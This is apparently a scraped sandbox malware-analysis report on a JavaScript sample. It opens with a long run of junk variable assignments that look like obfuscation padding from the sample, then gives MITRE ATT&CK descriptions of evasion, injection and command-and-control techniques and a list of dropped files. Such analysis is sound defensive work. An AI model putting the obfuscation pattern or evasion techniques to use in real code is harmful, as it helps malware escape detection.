1106	cxaydrjy = "F";
1107	cxaydrjy = "v";
1108	cxaydrjy = "K";
1109	cxaydrjy = "p";
1110	cxaydrjy = "A";
1111	cxaydrjy = "K";
1112	cxaydrjy = "F";
1113	cxaydrjy = "u";
1114	cxaydrjy = "b";
1115	cxaydrjy = "x";
1116	cxaydrjy = "a";
1117	cxaydrjy = "o";
1118	cxaydrjy = "R";
1119	cxaydrjy = "S";
1120	cxaydrjy = "s";
1121	cxaydrjy = "n";
1122	cxaydrjy = "g";
1123	cxaydrjy = "F";
1124	cxaydrjy = "K";
1125	rzrspcktz = "e";
1126	rzrspcktz = "M";
1127	rzrspcktz = "S";
1128	rzrspcktz = "D";
1129	rzrspcktz = "X";
1130	rzrspcktz = "M";
1131	rzrspcktz = "W";
1132	rzrspcktz = "j";
1133	rzrspcktz = "l";
1134	rzrspcktz = "O";
1135	rzrspcktz = "n";
1136	rzrspcktz = "e";
1137	rzrspcktz = "D";
1138	rzrspcktz = "T";
1139	rzrspcktz = "u";
1140	rzrspcktz = "T";
1141	rzrspcktz = "c";
1142	rzrspcktz = "a";
1143	rzrspcktz = "h";
1144	rzrspcktz = "O";
1145	rzrspcktz = "j";
1146	rzrspcktz = "B";
1147	rzrspcktz = "o";
1148	rzrspcktz = "g";
1149	rzrspcktz = "e";
1150	rzrspcktz = "j";
1151	rzrspcktz = "Q";
1152	rzrspcktz = "c";
1153	rzrspcktz = "r";
1154	rzrspcktz = "q";
1155	ixztx = "z";
1156	ixztx = "q";
1157	ixztx = "H";
1158	ixztx = "R";
1159	ixztx = "P";
1160	ixztx = "V";
1161	ixztx = "J";
1162	ixztx = "p";
1163	ixztx = "E";
1164	ixztx = "N";
1165	ixqgst = "l";
1166	ixqgst = "t";
1167	ixqgst = "B";
1168	ixqgst = "I";
1169	ixqgst = "m";
1170	ixqgst = "x";
1171	ixqgst = "P";
1172	ixqgst = "r";
1173	aficie = "x";
1174	aficie = "e";
1175	aficie = "p";
1176	aficie = "h";
1177	aficie = "q";
1178	aficie = "G";
1179	aficie = "h";
1180	aficie = "N";
1181	aficie = "B";
1182	aficie = "p";
1183	aficie = "N";
1184	aficie = "i";
1185	aficie = "a";
1186	aficie = "a";
1187	kzhdjpgye = "u";
1188	kzhdjpgye = "k";
1189	kzhdjpgye = "X";
1190	kzhdjpgye = "n";
1191	kzhdjpgye = "m";
1192	kzhdjpgye = "x";
1193	kzhdjpgye = "z";
1194	kzhdjpgye = "e";
1195	kzhdjpgye = "Z";
1196	kzhdjpgye = "Z";
1197	kzhdjpgye = "h";
1198	kzhdjpgye = "b";
1199	kzhdjpgye = "U";
1200	kzhdjpgye = "H";
1201	kzhdjpgye = "J";
1202	kzhdjpgye = "i";
1203	kzhdjpgye = "k";
1204	kzhdjpgye = "N";
1205	kzhdjpgye = "d";
1206	kzhdjpgye = "Z";
1207	kzhdjpgye = "Z";
1208	kzhdjpgye = "f";
1209	kzhdjpgye = "E";
1210	kzhdjpgye = "Y";
1211	kzhdjpgye = "B";
1212	kzhdjpgye = "K";
1213	kzhdjpgye = "c";
1214	kzhdjpgye = "y";
1215	kzhdjpgye = "t";
1216	kzhdjpgye = "T";
1217	kzhdjpgye = "m";
1218	kzhdjpgye = "X";
1219	kzhdjpgye = "3";
1220	ehsxdga = "A";
1221	ehsxdga = "f";
1222	ehsxdga = "T";
1223	ehsxdga = "U";
1224	ehsxdga = "O";
1225	ehsxdga = "M";
1226	ehsxdga = "Y";
1227	ehsxdga = "u";
1228	ehsxdga = "K";
1229	ehsxdga = "b";
1230	thcukxk = "Q";
1231	thcukxk = "N";
1232	thcukxk = "U";
1233	thcukxk = "Q";
1234	thcukxk = "R";
1235	thcukxk = "v";
1236	thcukxk = "W";
1237	thcukxk = "S";
1238	thcukxk = "m";
1239	thcukxk = "v";
1240	thcukxk = "Q";
1241	thcukxk = "k";
1242	thcukxk = "D";
1243	thcukxk = "k";
1244	thcukxk = "W";
1245	thcukxk = "q";
1246	thcukxk = "j";
1247	thcukxk = "E";
1248	thcukxk = "f";
1249	thcukxk = "h";
1250	thcukxk = "V";
1251	thcukxk = "E";
1252	thcukxk = "C";
1253	thcukxk = "b";
1254	thcukxk = "i";
1255	thcukxk = "b";
1256	thcukxk = "c";
1257	thcukxk = "h";
1258	thcukxk = "x";
1259	clmzn = "I";
1260	clmzn = "p";
1261	clmzn = "n";
1262	clmzn = "y";
1263	clmzn = "v";
1264	clmzn = "k";
1265	clmzn = "g";
1266	clmzn = "Q";
1267	fsojv = "k";
1268	fsojv = "g";
1269	fsojv = "s";
1270	fsojv = "e";
1271	fsojv = "u";
1272	fsojv = "V";
1273	fsojv = "C";
1274	fsojv = "j";
1275	fsojv = "j";
1276	fsojv = "h";
1277	fsojv = "G";
1278	fsojv = "V";
1279	fsojv = "Y";
1280	fsojv = "f";
1281	fsojv = "y";
1282	fsojv = "p";
1283	fsojv = "n";
1284	fsojv = "B";
1285	fsojv = "9";
1286	lctsaefpm = "E";
1287	lctsaefpm = "U";
1288	lctsaefpm = "P";
1289	lctsaefpm = "M";
1290	lctsaefpm = "H";
1291	lctsaefpm = "q";
1292	lctsaefpm = "y";
1293	lctsaefpm = "i";
1294	lctsaefpm = "l";
1295	lctsaefpm = "q";
1296	lctsaefpm = "h";
1297	lctsaefpm = "z";
1298	lctsaefpm = "E";
1299	lctsaefpm = "D";
1300	lctsaefpm = "B";
1301	lctsaefpm = "S";
1302	lctsaefpm = "E";
1303	lctsaefpm = "J";
1304	lctsaefpm = "m";
1305	lctsaefpm = "q";
1306	lctsaefpm = "x";
1307	lctsaefpm = "h";
1308	lctsaefpm = "b";
1309	lctsaefpm = "W";
1310	lctsaefpm = "Q";
1311	lctsaefpm = "u";
1312	lctsaefpm = "h";
1313	lctsaefpm = "C";
1314	lctsaefpm = "A";
1315	lctsaefpm = "U";
1316	lctsaefpm = "n";
1317	dyebggi = "B";
1318	dyebggi = "a";
1319	dyebggi = "Z";
1320	dyebggi = "R";
1321	dyebggi = "B";
1322	dyebggi = "K";
1323	dyebggi = "v";
1324	dyebggi = "V";
1325	dyebggi = "a";
1326	dyebggi = "a";
1327	dyebggi = "H";
1328	dyebggi = "G";
1329	dyebggi = "z";
1330	dyebggi = "R";
1331	dyebggi = "v";
1332	dyebggi = "b";
1333	dyebggi = "w";
1334	dyebggi = "i";
1335	dyebggi = "g";
1336	dyebggi = "r";
1337	dyebggi = "E";
1338	dyebggi = "M";
1339	dyebggi = "q";
1340	dyebggi = "q";
1341	dyebggi = "f";
1342	dyebggi = "i";
1343	dyebggi = "a";
1344	dyebggi = "n";
1345	dyebggi = "g";
1346	dyebggi = "u";
1347	dyebggi = "Q";
1348	dyebggi = "v";
1349	dyebggi = "o";
1350	dyebggi = "N";
1351	dyebggi = "n";
1352	dyebggi = "o";
1353	dyebggi = "Q";
1354	dyebggi = "O";
1355	dyebggi = "i";
1356	dyebggi = "R";
1357	dyebggi = "I";
1358	dyebggi = "y";
1359	dyebggi = "h";
1360	dyebggi = "6";
1361	gqxnfa = "m";
1362	gqxnfa = "e";
1363	gqxnfa = "g";
1364	gqxnfa = "b";
1365	gqxnfa = "G";
1366	gqxnfa = "k";
1367	gqxnfa = "L";
1368	gqxnfa = "D";
1369	gqxnfa = "O";
1370	gqxnfa = "b";
1371	gqxnfa = "V";
1372	gqxnfa = "K";
1373	gqxnfa = "C";
1374	gqxnfa = "S";
1375	gqxnfa = "S";
1376	nrpkwshtu = "M";
1377	nrpkwshtu = "s";
1378	nrpkwshtu = "P";
1379	nrpkwshtu = "I";
1380	nrpkwshtu = "V";
1381	nrpkwshtu = "W";
1382	nrpkwshtu = "K";
1383	nrpkwshtu = "i";
1384	nrpkwshtu = "P";
1385	nrpkwshtu = "x";
1386	nrpkwshtu = "N";
1387	nrpkwshtu = "s";
1388	nrpkwshtu = "z";
1389	nrpkwshtu = "z";
1390	nrpkwshtu = "B";
1391	nrpkwshtu = "n";
1392	nrpkwshtu = "C";
1393	nrpkwshtu = "B";
1394	nrpkwshtu = "Q";
1395	nrpkwshtu = "e";
1396	smacil ( );	smacil() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 395621741190315695.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e5ecbdf7-4be3-4296-8c9c-21aa14907c6d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.776

Windows Analysis Report
395621741190315695.js